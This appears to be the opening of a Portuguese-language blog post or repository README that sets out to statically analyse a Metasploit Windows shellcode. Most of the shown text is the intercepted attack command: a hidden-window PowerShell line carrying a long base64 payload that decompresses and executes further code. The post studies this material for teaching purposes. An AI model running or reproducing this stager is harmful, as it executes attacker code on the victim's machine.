yo-yo-yo-jbo/msf_shellcode_analysisAnálise estática passo a passo de um shellcode do Metasploit para Windows: decodificação de payload do PowerShell, ofuscação XOR, caminhamento do PEB e resolução da Tabela de Endereços de Exportação.
Para um primeiro post de blog, pensei que seria legal analisar um shellcode comum do Metasploit - é uma ótima oportunidade para discutir tópicos como encoding, PEB, shellcodes do Windows e Export Address Tables.
Começamos com uma linha de comando longa e interceptada:```powershell "powershell.exe" -nop -w hidden -encodedcommand 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TgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA
